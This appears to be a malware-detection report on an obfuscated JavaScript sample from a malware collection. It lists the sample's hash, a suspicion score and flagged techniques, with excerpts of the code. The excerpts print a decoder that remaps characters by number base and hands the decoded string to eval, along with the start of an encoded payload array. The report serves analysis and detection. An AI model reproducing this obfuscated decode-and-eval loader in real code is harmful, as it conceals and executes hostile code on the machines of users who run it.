Suspicious ^80% javascript-malware-collection download unavailable

20151211_d13f6b5d1286ff69a7bc06d9349f04cd.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256b9f3577f1038336bb7d3dfd990211f79ec21737f6713370588ca72fb8f1a4d00

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function KyBYZ(HFwMadTuLTH,VHMFBEMIdTrRT,RVqiwtIU){ApUs=parseInt(HFwMadTuLTH,VHMFBEMIdTrRT);JzXLz=ApUs.toString(RVqiwtIU);return JzXLz;}function yrtWMdNawMxiEdC(jFlYsHqyhPERJQVGe){eval(jFlYsHqyhPERJQVGe)}
3function EnEJAErivIWjYuLPteIDGQyubJVamMXFQfPYvgganNlNPOwQETOfSR(lXPRjecoLApvr,KYDuRkKYfNekmB){ return nYnUD[KyBYZ(lXPRjecoLApvr[KYDuRkKYfNekmB],(9547+218)/465,(2623+807)/343)];}
4function qtiDlEi(NmUIgbFIDMKumaQWVROoameQbFMzSPpYHrRx) {return !isNaN(parseFloat(NmUIgbFIDMKumaQWVROoameQbFMzSPpYHrRx)) && isFinite(NmUIgbFIDMKumaQWVROoameQbFMzSPpYHrRx);}
5function mOiAjqpCwoT(aIVAXiCX,FzFmNr){return aIVAXiCX.split(FzFmNr)}
6var g=new Array("d","a","d","a","5d","4d","59","1b","4f","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  PHaOG=[g,l];
9var enYkCdDlP=[];
10function epFwCTNSYFoRfypoe(PHaOG){WOpfgvXdrij= '';sLHnzAnpHAp=(-738+738)/341; while(true){if(sLHnzAnpHAp >= (734+918)/826)break;enYkCdDlP[sLHnzAnpHAp]=(-209+209)/926; while(true) { if(enYkCdDlP[sLHnzAnpHAp] > PHaOG[sLHnzAnpHAp].length-(-23+679)/656) { break; } if (qtiDlEi(KyBYZ(PHaOG[sLHnzAnpHAp][enYkCdDlP[sLHnzAnpHAp]],(1444+278)/82,(6744+306)/705))) {WOpfgvXdrij += EnEJAErivIWjYuLPteIDGQyubJVamMXFQfPYvgganNlNPOwQETOfSR([PHaOG[sLHnzAnpHAp][enYkCdDlP[sLHnzAnpHAp]]], (-835+835)/29);} enYkCdDlP[sLHnzAnpHAp]++;}sLHnzAnpHAp++;} return WOpfgvXdrij}
11yrtWMdNawMxiEdC(epFwCTNSYFoRfypoe(PHaOG));